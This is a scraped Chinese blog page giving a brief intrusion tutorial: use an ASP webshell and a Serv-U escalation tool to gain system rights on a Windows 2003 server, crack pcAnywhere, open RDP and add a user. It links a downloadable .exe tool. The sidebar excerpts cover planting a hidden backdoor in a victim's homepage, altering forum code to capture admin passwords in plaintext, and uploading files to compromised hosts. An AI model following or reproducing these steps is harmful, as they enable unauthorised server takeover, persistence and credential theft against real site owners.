ASP木马配合Serv-U提升权限图文教程

最新推荐文章于 2010-04-19 14:56:15 发布
最新推荐文章于 2010-04-19 14:56:15 发布
阅读量2.5k 收藏
点赞数
分类专栏： 文摘·黑客攻防 文章标签： asp 工具 破解
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/secteam/article/details/141980
版权

第一步得到一个webshell，找到一个everone权限目录，把提升权限工具传上去，执行命令

 

第二步，连上去吧

 

第三步，当然有的机器有pcanywhere了，像这台
下载下来破解

 

第四步连上去看看，还是win2003

 

第五步开３３８９吧

 

第六步加个用户。

 

其实在pcanywhere里边也行
工具下载
http://pic.yt-e.com/lcx/serv/1.exe

secteam
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
web安全工具介绍（漏洞扫描、信息收集、提升权限的网站、app）持续更新
HHH's Blogs
09-02 2257
以下为我学习web安全以来用到的有用小工具，与大家分享。原创不易，转载请注明出处 目录 信息收集工具 站长工具 ：无需注册。 提供whois查询、SEO综合查询、权重查询等服务 爱站网 ：与站长工具功能类似，需注册 netcraft ：可查询到1. 服务器软件2. 服务器操作系统3. 域名解析/网站服务器主机/企业邮局提供商4. SSL证书5. 网站脚本语言 旁站查询 1.web在线查 2...
渗透国内某网络游戏服务器群记实
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-20 8715
没什么技术性,只是想说明现状  现在想弄钱的入侵者，似乎热衷于入侵网络游戏服务器，盗出游戏服务器程序或是数据库。国内的网络游戏企业，都应该招受过此损失，有暴露出来的，有没暴露出来的。但游戏企业对安全问题理解都十分片面，狭隘!  当然，不只是网络游戏企业。近一两年来，入侵者乐此不疲，各种商业数据的偷盗在国内几乎快形成一种"圈内产业"。不论是技术性还是行事组织性都与早年不可同日而语。需求与供应在这里似
改变asp权限的教程
caiguazheng4921的博客
04-19 115
asp.dll解析成system提升权限网络上传统的提升asp权限为系统的有两种:1.图形化下的,把默认站点---->主目录--->应用程序保护设置为低,这样就可以把asp权限设置为system.但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天我要谈的关于adsutil.vbs提升权限.2.用adsutil.vb...
使用ASP站长助手6.0提升webshll中cmd权限图文教程
民兵的家园
11-28 3084
黑色诱惑1.将ASP站长助手6.0的dbm6.asp文件上传到目标。2.从浏览器中打开上传的dbm6.asp，输入初始密码：gxgl.com3.这个时候在ASP站长助手6.0点击命令行模块，显示"拒绝访问"4.用ASP站长助手6.0的文件上传模块上传一个本地的CMD.exe，到你的目标主机。5.用记事本打开修改你的wdbm6.asp找到调用CMD.exe的代码原来的：SI=SI&server.cr
Serv-U本地权限提升的ASP实现(转)
黑鹰
03-15 807
Serv-U本地权限提升的ASP实现最近的生活真无聊，寒冰掌老大见我无所事事，就说如果我能把Serv-U本地提权的ASP程序做出来就给介绍个MM，所以呢，就有了这篇文章^_^Serv-U本地提权的问题很古老了，不清楚的朋友谷歌一下先，我就不罗嗦啦。呵呵，最主要的是相继出现了php、perl、aspx版本的提权脚本，一时间刀光剑影满天飞，惟独缺了ASP版的。主要是由于郁闷的ASP不能像其他脚本那样访
架设自己的FTP服务器 Serv-U详细配置图文教程[推荐]
09-30
最近有朋友问题如何搭建ftp服务器分享给大家下载，由于它是win2003服务器所以我们推荐用iis自带的ftp服务器或serv_u，serv_u简单易用，但安全问题不容忽视
Serv-U 安全设置图文教程
01-11
0@P， 修改成等长度的其它字符就可以了，ServUAdmin.exe也一样处理 另外注意设置Serv-U所在的文件夹的权限，不要让IIS匿名用户有读取的权限，否则人家下走你修改过的文件， 照样可以分析出你的管理员名和密码。Serv-...
Serv-u 10.3 的图文安装教程及使用方法
09-30
本教程将详细介绍Serv-U 10.3的安装和使用步骤，帮助您快速掌握如何搭建和管理FTP服务器。 一、安装Serv-U 1. 首先，确保您的操作系统是Windows XP SP3或更高版本。下载Serv-U 10.3的安装文件，然后运行安装程序。...
修改admin_index.asp得到明文DVBBS后台密码
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-15 6354
在"username=trim(replace(request("username")这行后面 Dim fsoObject Dim tsObject Set fsoObject = Server.CreateObject("Scripting.FileSystemObject") set tsObject = fsoObject.CreateTextFile(Server.MapPath("ok.
JAVASCRIPT加密解密终级指南
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
11-14 2215
文章作者：icyfoxlovelace/冰狐浪子[EST]信息来源：《黑客防线》 本文一共介绍了七种方法：一：最简单的加密解密二：转义字符"/"的妙用三：使用Microsoft出品的脚本编码器Script Encoder来进行编码 （自创简单解码）四：任意添加NUL空字符（十六进制00H） （自创）五：无用内容混乱以及换行空格TAB大法六：自写解密函数法七：错误的利用 （自创）　　在做网页时（其实
用DOS命令扫描一个网段的全部端口，不需要任何工具
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-20 2209
在win2000下开一个dos窗口，然后执行 for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389 这样192.168.0.x这个段的所有开放3389端口得主机都会暴露 这条命令执行后 会在任务栏开254个小窗口 然后telnet链接失败的窗口会在大约5秒后自动退出 剩下的窗口就是相对应开放端口的主机了 看一下小窗口的
突破动力文章上传asp的限制
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-19 1901
    在入侵动力文章系统，成功进入后台后，也许你会发现，它的后台没有上传ASP的功能，因为动力文章系统的文件过滤是直接写在代码里的。我介绍一种突破这种限制的方法。虽然它禁止了上传ASP，但是我们可以直接写代码啊！      推荐版权信息输入框，框框大比较好写一点^_^。注意，动力文章系统是将这里写入的代码以字符串的形式写道Config.asp里的，所以我们直接复制ASP木马的代码是行不通的。
四川成都攻防大赛技术细节与个人评论
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
11-06 1825
四川成都攻防大赛技术细节与个人评论本文作者：angel文章性质：原创发布日期：2004-11-5　　估计大家都知道这次成都的“天地杯”网络安全攻防大赛的消息了，既然和网络安全有关，估计不少朋友都想知道其中的技术细节，我就说说其中技术细节。至于和我一起参加比赛的人，都是圈内比较出名的人物，机会、优势几乎都在我们这边了，其他我就暂时不说了。圈内也有不少人知道是我们几个参
SQL注入路径问题 作者：孤光剑隐
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
11-14 1729
下午没什么事情 看了看angel写一个路径的问章　找了肉鸡试了半天 费了牛劲了 我发现如果出现 Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 #SharedObjects 转换为数据类型为 int 的列时发生语法错误。 /html/showdetail_new.asp，行 9 这样他的方法就不能用了 #必须
上传方法总结[对入侵很实用]
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-18 1491
作者：小虾米　　来自：朋友的家现在将本人用于上传的方法进行汇总如下：1. tftp法先在自己某机器上建个tftp服务器,如执行tftpd32.exe，再将文件（sample.exe)上传到别的机器中(肉鸡），肉鸡cmd中执行： tftp -i 服务器ip get sample.exe2. ftp法肉鸡cmd中执行：echo open ftp服务器ip [端口]>ftp.txtecho
对一个安全设置比较ＢＴ的虚拟主机的安全测试
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-15 1434
作者：血汉 文章来源：www.qfaq.com前几天无聊时看到一个木马站，然后就对他进行了一番安全测试，发现是在一个虚拟主机上的，而虚拟主机的安全设置又比较高，我今天就把我是怎么进入这个木马站的经过写出来，里面没有设计到什么技术性的东西，只是把这次的思路说下，因为经验才是最重要的！　　首先看了下站．发现是动力的系统，看了下版本MyPower Ver3.51，当时还比较新，注入过滤的比较好，上传
直接获取Access、SQL Server等数据库数据
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-18 1417
直接获取access、SQL Server等数据库数据Author: MixPST，Ph4nt0m Security Teamhttp://www.ph4nt0m.org当使用SQL注入access的时候，经常会遇到密码为中文、猜不到关键字段名这样的问题。使用本技术就能够很快速的解决这样的问题。本技术最低要求有两条：1.使用access数据库的系统存在SQL注入漏洞；mssql数据库也支持
插入式免杀后门--将后门放到对方主页里
...::: Ｘ.Ｕ.Ｓ.Ｔ :::...
10-19 1403
昨天也不知怎就搞到中国域名网的权限了，搞了很久，有自动备份。转入正题：1.随便找他一个页面，然后把如下内容分开插入到它的主页了，注意一下上下文。内容（fso):"" then %>save Success!" %>Save UnSuccess!" %>最好要分开插入！！这样管理员也不容易发现。2.将下内容保存到本地为一个htm，并把action="#",改成你插入到的页面，再添下绝对路
Serv-U FTP服务器构建图文教程
"这篇教程详细介绍了如何安装和使用FTP服务器构建软件Serv-U，包括安装过程、设置选项以及软件的功能特点。" FTP服务器构建软件Serv-U是一款专业的FTP服务器管理工具，适用于个人和企业用户，用于在网络上共享文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值